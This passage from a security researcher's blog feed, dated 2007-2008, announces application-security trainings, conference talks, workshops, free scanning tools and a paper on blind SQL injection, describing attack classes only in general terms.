Dubai'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_xyOlmjdroio/SXWy7TuI2kI/AAAAAAAAAHk/wUTDUjLl8uc/s72-c/hitb-dubai.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-8899111573864581063</id><published>2008-11-08T18:53:00.000-08:00</published><updated>2008-11-08T18:56:19.595-08:00</updated><title type='text'>DeepSec 2008 - Training &amp; Research</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blueinfy.com/img/deepsec.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 237px; height: 45px;" src="http://www.blueinfy.com/img/deepsec.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;span class="welcometxtgreen"&gt;                                       &lt;span class="greentitle"&gt;[11th November]  DEEPSEC security confernce - Vienna, Austria&lt;/span&gt;&lt;br /&gt;                                    &lt;br /&gt;&lt;br /&gt;&lt;a class="readmorelink" href="https://deepsec.net/"&gt;Training on Enterprise Secure Application Coding&lt;/a&gt;&lt;p&gt;                                       &lt;a class="readmorelink" href="https://deepsec.net/"&gt;Presentation on Web 2.0 Security Game&lt;/a&gt;                                               &lt;/p&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-8899111573864581063?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8899111573864581063'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/8899111573864581063'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/11/deepsec-2008-training-research.html' title='DeepSec 2008 - Training &amp; Research'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-284638975670687804</id><published>2008-10-05T22:19:00.000-07:00</published><updated>2008-10-05T22:24:21.967-07:00</updated><title type='text'>HITB 2008 ...</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://conference.hackinthebox.org/hitbsecconf2008kl/index.php?cat=1"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://conference.hackinthebox.org/hitbsecconf2008kl-site1.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We are conducting training and speaking on Web 2.0 Attacks at HITB in Malaysia. They have great trainings and talks lined up this year as well. I look forward to meet lot of folks out there.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://conference.hackinthebox.org/hitbsecconf2008kl-site1.jpg"&gt;Training&lt;/a&gt;&lt;br /&gt;&lt;a href="http://conference.hackinthebox.org/hitbsecconf2008kl/?page_id=81"&gt;Talk&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-284638975670687804?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/284638975670687804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/284638975670687804'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/10/hitb-2008.html' title='HITB 2008 ...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-573607114020710344</id><published>2008-08-15T23:12:00.000-07:00</published><updated>2008-08-15T23:16:19.195-07:00</updated><title type='text'></title><content type='html'>&lt;img border="0" id="BLOGGER_PHOTO_ID_5127395484905152338" alt="" src="http://bp3.blogger.com/_xyOlmjdroio/RygrBwS2n1I/AAAAAAAAAEQ/QrCDO5Yicpk/s200/owasp.jpg" style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;"/&gt; We have training and speaking event at OWASP Appsec in Delhi - India. Seems a great event.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_India_Conference_2008"&gt;More on it.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-573607114020710344?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/573607114020710344'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/573607114020710344'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/08/we-have-training-and-speaking-event-at.html' title=''/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_xyOlmjdroio/RygrBwS2n1I/AAAAAAAAAEQ/QrCDO5Yicpk/s72-c/owasp.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4239718508555721804</id><published>2008-07-20T02:40:00.000-07:00</published><updated>2008-07-20T02:44:23.909-07:00</updated><title type='text'>One Day Workshop Series</title><content type='html'>We are conducting one day application security workshops in various cities in India. If you are interested in it.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/one-day-workshop.html"&gt;More information here.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4239718508555721804?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4239718508555721804'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4239718508555721804'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/07/one-day-worksop-series.html' title='One Day Workshop Series'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-4125588123790374261</id><published>2008-06-24T05:57:00.000-07:00</published><updated>2008-06-24T06:00:22.985-07:00</updated><title type='text'>AppCodeScan 1.2 - Posted...</title><content type='html'>We did some source code assessment and on the basis of it .NET application rules are added. Can download and play around with the tool.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Link to tools page&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-4125588123790374261?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4125588123790374261'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/4125588123790374261'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/06/appcodescan-12-posted.html' title='AppCodeScan 1.2 - Posted...'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1019124670551090198</id><published>2008-06-11T22:48:00.000-07:00</published><updated>2008-06-11T22:56:14.556-07:00</updated><title type='text'>Secure Application Coding Training at Syscan Singapore</title><content type='html'>&lt;img src="http://www.blueinfy.com/img/syscan.jpg" height="39" width="186" /&gt;                               &lt;br /&gt;[1st July 2008] Syscan - Singapore&lt;/span&gt;&lt;br /&gt;                                      &lt;a  href="http://www.syscan.org/sg/coding.html"&gt;Secure Application Coding Training&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="textbold"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/span&gt;&lt;p&gt;Application source code, independent of languages and platforms, is a major source for vulnerabilities. One of the CSI surveys on vulnerability distribution suggests that 64% of the time, a vulnerability crops up due to programming errors and 36% of the time, due to configuration issues. According to IBM labs, there is a possibility of at least one security issue contained in every 1,500 lines of code. To avoid these sort of security issues one needs to follow sound secure coding and design principals. It is also imperative to know code review methodologies and strategies to assess the quality of code before deploying to the production. The course is designed by the author of "Web Hacking: Attacks and Defense", “Hacking Web Services” and “Web 2.0 Security – Defending Ajax, RIA and SOA” bringing his experience in application security and research as part of curriculum. &lt;/p&gt;               &lt;p&gt;Secure Coding course for Applications is hands-on class. The class features real life cases, hands one exercises, code scanning tools and defense plans. Participants would be methodically taken down to the source code level and exposed to the flaws in design and coding practices. The class would then focus on what are the proper ways of writing secure code and analyze the code base. This class addresses popular languages and platforms like VB/C# (.NET), Java(J2EE), PHP, ASP etc.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1019124670551090198?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1019124670551090198'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1019124670551090198'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/06/secure-application-coding-training-at.html' title='Secure Application Coding Training at Syscan Singapore'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1502700477868284376</id><published>2008-05-30T23:49:00.000-07:00</published><updated>2008-05-30T23:53:12.510-07:00</updated><title type='text'>Paper on Blind SQL injection</title><content type='html'>&lt;p class="MsoNormal"&gt;This paper describes technique to deal with blind SQL injection spot with ASP/ASP.NET applications running with access to XP_CMDSHELL. It is possible to perform pen test against this scenario though not having any kind of reverse access or display of error message. It can be used in completely blind environment and successful execution can grant remote command execution on the target application with admin privileges.&lt;/p&gt;&lt;br /&gt;&lt;p class="MsoNormal"&gt;&lt;/p&gt;Download - &lt;a href="http://www.blueinfy.com/wp/blindsql.pdf"&gt;PDF&lt;/a&gt;&lt;br /&gt;Read here in &lt;a href="http://www.blueinfy.com/wp/blindsql.htm"&gt;HTML&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1502700477868284376?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1502700477868284376'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1502700477868284376'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/05/paper-on-blind-sql-injection.html' title='Paper on Blind SQL injection'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3877486482382352638</id><published>2008-03-20T03:57:00.000-07:00</published><updated>2008-03-20T04:48:43.645-07:00</updated><title type='text'>HackInTheBox  &amp; RSA 2008- Blueinfy Training and Research</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_xyOlmjdroio/R-JJjp-NoFI/AAAAAAAAAGo/_ObgI2FTN4M/s1600-h/hitb.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_xyOlmjdroio/R-JJjp-NoFI/AAAAAAAAAGo/_ObgI2FTN4M/s320/hitb.jpg" alt="" id="BLOGGER_PHOTO_ID_5179783398340534354" border="0" /&gt;&lt;/a&gt;&lt;b&gt;Training Title:&lt;/b&gt; &lt;a href="http://conference.hackinthebox.org/hitbsecconf2008dubai/?page_id=84"&gt;Web Application Security – Advanced Attacks and Defense&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p align="justify"&gt; Introduction and adaptation of new technologies like Ajax, Rich Internet Applications and Web Services has changed the dimension of Application Hacking. We are witnessing new ways of hacking web based applications and it needs better understanding of technologies to secure applications. The only constant in this space is change. In this dynamically changing scenario in the era of Web 2.0 it is important to understand new threats that emerge in order to build constructive strategies to protect corporate application assets. Application layers are evolving and lot of client side attack vectors are on the rise like Ajax based XSS, CSRF, Widget injections, RSS exploits, Mashup manipulations and client side logic exploitations. At the same time various new attack vectors are evolving around SOA by attacking SOAP, XML-RPC and REST. It is time to understand these advanced attack vectors and defense strategies. &lt;/p&gt;  &lt;b&gt;Presentation Title:&lt;/b&gt; &lt;a href="http://conference.hackinthebox.org/hitbsecconf2008dubai/?page_id=81"&gt;Securing Next Generation Applications – Scan, Detect and Mitigate&lt;/a&gt;&lt;br /&gt;&lt;p&gt; &lt;b&gt;Presentation Details:&lt;/b&gt; &lt;/p&gt;  &lt;p align="justify"&gt; McKinsey’s recent global survey suggested that 80% of companies are investing in Web 2.0 technologies. Web 2.0 technologies are no longer restricted to social networking site but forming backend to enterprise level applications. This evolution is giving rise to next generation application hacking and attack vectors. It is imperative to understand these new attacks and scanning methods to detect vulnerabilities. This presentation will be full of real life cases, live demonstrations, new tools and techniques along in-depth coverage on the latest concepts and methodologies. &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3877486482382352638?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3877486482382352638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3877486482382352638'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/03/hackinthebox-blueinfy-training-and.html' title='HackInTheBox  &amp; RSA 2008- Blueinfy Training and Research'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_xyOlmjdroio/R-JJjp-NoFI/AAAAAAAAAGo/_ObgI2FTN4M/s72-c/hitb.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-1832446768257797428</id><published>2008-03-20T03:49:00.000-07:00</published><updated>2008-03-20T03:55:04.338-07:00</updated><title type='text'>Presenting Research at RSA 2008</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_xyOlmjdroio/R-JBp5-NoCI/AAAAAAAAAGQ/q2ryhK1KNoM/s1600-h/rsa.jpg"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer;" src="http://bp0.blogger.com/_xyOlmjdroio/R-JBp5-NoCI/AAAAAAAAAGQ/q2ryhK1KNoM/s200/rsa.jpg" alt="" id="BLOGGER_PHOTO_ID_5179774709621694498" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Session Code:   &lt;/span&gt;SOA-202&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Session Title:   &lt;/span&gt;Web 2.0 Security Chess: Combat Strategies and Defense Tactics&lt;br /&gt;&lt;span style="color: rgb(0, 102, 0);"&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Scheduled Date/Time:&lt;/span&gt;   &lt;/span&gt;Wednesday, April 09 09:10 AM&lt;br /&gt;RED ROOM 310&lt;br /&gt;&lt;span style="color: rgb(0, 153, 0);"&gt;Session Abstract:&lt;/span&gt;   Ajax, web services and rich Internet (Flash) are redefining moves on the security chessboard. Attack strategies are emerging like cross-site scripting with JSON or cross-site request forgery with XML. This session will cover Web 2.0 attacks, tools for assessment, and approaches for code analysis with demonstrations. Professionals can apply knowledge in real life to a secure Web 2.0 application layer.&lt;br /&gt;&lt;br /&gt;&lt;a href="https://cm.rsaconference.com/US08/catalog/controller/catalog"&gt;Agenda&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-1832446768257797428?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1832446768257797428'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/1832446768257797428'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/03/presenting-research-at-rsa-2008.html' title='Presenting Research at RSA 2008'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_xyOlmjdroio/R-JBp5-NoCI/AAAAAAAAAGQ/q2ryhK1KNoM/s72-c/rsa.jpg' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-5406564166084502153</id><published>2008-03-13T09:03:00.000-07:00</published><updated>2008-03-13T09:10:28.288-07:00</updated><title type='text'>Infosecworld 08 - Presentations on iHTTPModule and CSRF</title><content type='html'>You can go through my presentation and research work on iHTTPModule and CSRF. I have posted them on slideshare. Here is the posting you can view over here or go to the slideshare.&lt;br /&gt;&lt;br /&gt;[CSRF]&lt;br /&gt;&lt;div style="width: 425px; text-align: left;" id="__ss_305205"&gt;&lt;object style="margin: 0px;" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=infosecworld-08-orlando-csrf-the-biggest-little-vulnerability-on-the-web-1205423829459769-3"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=infosecworld-08-orlando-csrf-the-biggest-little-vulnerability-on-the-web-1205423829459769-3" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size: 11px; font-family: tahoma,arial; height: 26px; padding-top: 2px;"&gt;&lt;a href="http://www.slideshare.net/?src=embed"&gt;&lt;img src="http://static.slideshare.net/swf/logo_embd.png" style="border: 0px none ; margin-bottom: -5px;" alt="SlideShare" /&gt;&lt;/a&gt; | &lt;a href="http://www.slideshare.net/shreeraj/infosecworld-08-orlando-csrf-the-biggest-little-vulnerability-on-the-web?src=embed" title="View '[Infosecworld 08 Orlando] CSRF: The Biggest Little Vulnerability on the Web ' on SlideShare"&gt;View&lt;/a&gt; | &lt;a href="http://www.slideshare.net/upload?src=embed"&gt;Upload your own&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;[.NET iHTTPModule - Interesting stuff]&lt;div style="width:425px;text-align:left" id="__ss_305199"&gt;&lt;object style="margin:0px" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slideshare.net/swf/ssplayer2.swf?doc=infosecworld-08-orlando-new-defenses-for-net-web-apps-ihttpmodule-in-practice-1205423616575296-3"/&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed src="http://static.slideshare.net/swf/ssplayer2.swf?doc=infosecworld-08-orlando-new-defenses-for-net-web-apps-ihttpmodule-in-practice-1205423616575296-3" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;div style="font-size:11px;font-family:tahoma,arial;height:26px;padding-top:2px;"&gt;&lt;a href="http://www.slideshare.net/?src=embed"&gt;&lt;img src="http://static.slideshare.net/swf/logo_embd.png" style="border:0px none;margin-bottom:-5px" alt="SlideShare"/&gt;&lt;/a&gt; | &lt;a href="http://www.slideshare.net/shreeraj/infosecworld-08-orlando-new-defenses-for-net-web-apps-ihttpmodule-in-practice?src=embed" title="View '[Infosecworld 08 Orlando] New Defenses for .NET Web Apps: IHttpModule in Practice ' on SlideShare"&gt;View&lt;/a&gt; | &lt;a href="http://www.slideshare.net/upload?src=embed"&gt;Upload your own&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-5406564166084502153?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5406564166084502153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/5406564166084502153'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/03/infosecworld-08-presentations-on.html' title='Infosecworld 08 - Presentations on iHTTPModule and CSRF'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-6120916717833809062</id><published>2008-03-09T15:28:00.000-07:00</published><updated>2008-03-09T15:32:56.637-07:00</updated><title type='text'>InfosecWorld - iHTTPModule and CSRF</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.misti.com/default.asp?page=65&amp;amp;Return=70&amp;amp;ProductID=5539"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 200px;" src="http://www.blueinfy.com/img/infosecworld.jpg" alt="" border="0" /&gt;&lt;/a&gt;Speaking on iHTTPModule with IIS 7.0 integrated pipe. It can help in building defense by creating WAF. Also, addressing CSRF and security controls around it. Looking forward to meet some of the application security folks as well.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-6120916717833809062?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6120916717833809062'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6120916717833809062'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/03/infosecworld-ihttpmodule-and-csrf.html' title='InfosecWorld - iHTTPModule and CSRF'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7474955333187184926</id><published>2008-03-03T03:54:00.000-08:00</published><updated>2008-03-03T03:57:05.076-08:00</updated><title type='text'>Workshop in Dubai - Application Security</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.isacauae.org/images/header/bottom4.jpg"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://www.isacauae.org/images/header/bottom4.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;Having 2 days workshop for ISACA in Dubai. Look forward to meet some of UAE folks. Cheers!&lt;br /&gt;&lt;br /&gt;If you are interested in joining - &lt;a href="http://www.isacauae.org/isacaorg/home.aspx?code=HM"&gt;More Detail&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-7474955333187184926?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7474955333187184926'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/7474955333187184926'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/03/workshop-in-dubai-application-security.html' title='Workshop in Dubai - Application Security'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-3468814795300034395</id><published>2008-02-16T21:50:00.000-08:00</published><updated>2008-02-16T21:54:52.578-08:00</updated><title type='text'>BLackhat DC - On Web 2.0 Scanning</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-schedule.html"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 200px;" src="http://www.blueinfy.com/img/blackhat.jpg" border="0" alt="" width="161" height="57"/&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blackhat.com/html/bh-dc-08/bh-dc-08-schedule.html"&gt;Scanning Applications 2.0 - Next generation scan, attacks and tools&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ajax, Web Services and Rich Internet (Flash) are redefining application security scanning challenges and strategies. We are witnessing some emerging attack vectors like Cross Site Scripting with JSON, Cross Site Request Forgery with XML, WSDL scanning, XPATH injection with XML streams etc. This presentation will cover Web 2.0 attacks, new scanning tools for assessment and approaches for Web 2.0 code analysis with demonstrations. Professionals can apply knowledge in real life to secure Web 2.0 application layer.&lt;br /&gt;&lt;br /&gt;This presentation will focus on core Web 2.0 security issues along with assessment toolkit developed by the presenter. 1.) It is imperative to analyze Web 2.0 application architecture with security standpoint. We will evaluate real life vulnerabilities with Google, MySpace and Yahoo. 2.) Web 2.0 technology fingerprinting is very critical step to determine application security posture. 3.) Crawling Ajax driven application is biggest challenge and we will cover approaches to address this critical issue by dynamic DOM event management with Ruby. 4.) Scanning Web 2.0 application for security holes is an emerging issue. It needs lot of JavaScript analysis with DOM context to discover XSS and XSRF vulnerabilities in Ajax and Flash with new attack vectors hidden in payload structures like JSON, XML, JS-Arrays etc. 5.) Addressing assessment methods and tools to discover security lapses for SOAP, REST and XML-RPC based Web Services along with innovative fuzzing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-3468814795300034395?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://shreeraj.blogspot.com/feeds/3468814795300034395/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11830896&amp;postID=3468814795300034395' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3468814795300034395'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/3468814795300034395'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2008/02/blackhat-dc-on-web-20-scanning.html' title='BLackhat DC - On Web 2.0 Scanning'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-6836105193437441759</id><published>2007-12-31T02:02:00.000-08:00</published><updated>2007-12-31T02:05:02.642-08:00</updated><title type='text'>[Tool]  AppPrint - Web and Application Server Fingerprinting/Mapping tool (Beta)</title><content type='html'>Posted a new tool on the site.&lt;br /&gt;-- Description --&lt;br /&gt;AppPrint scans IP range, IP or host for Web and Application servers. It scans port 80 for a particular target and tries to deduce the banner using httprint methodology. This gives best guessed banner for Web Server. In next step it uses method of forced plug-in invoke and scan for application server type. At this point it tries to fingerprint Tomcat, WebLogic, WebSphere, Orion, ColdFusion and Resin. It requires .NET framework installed. In future version we will build several other technology mapping and fingerprinting technologies like Ajax, RIA, Flash, Laszlo etc.&lt;br /&gt;--&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.blueinfy.com/tools.html"&gt;Read and Download&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11830896-6836105193437441759?l=shreeraj.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6836105193437441759'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11830896/posts/default/6836105193437441759'/><link rel='alternate' type='text/html' href='http://shreeraj.blogspot.com/2007/12/tool-appprint-web-and-application.html' title='[Tool]  AppPrint - Web and Application Server Fingerprinting/Mapping tool (Beta)'/><author><name>shreeraj</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author></entry><entry><id>tag:blogger.com,1999:blog-11830896.post-7943419735123035041</id><published>2007-12-27T05:11:00.000-08:00</published><updated>2007-12-27T05:12:43.708-08:00</updated><title type='text'>[net-security 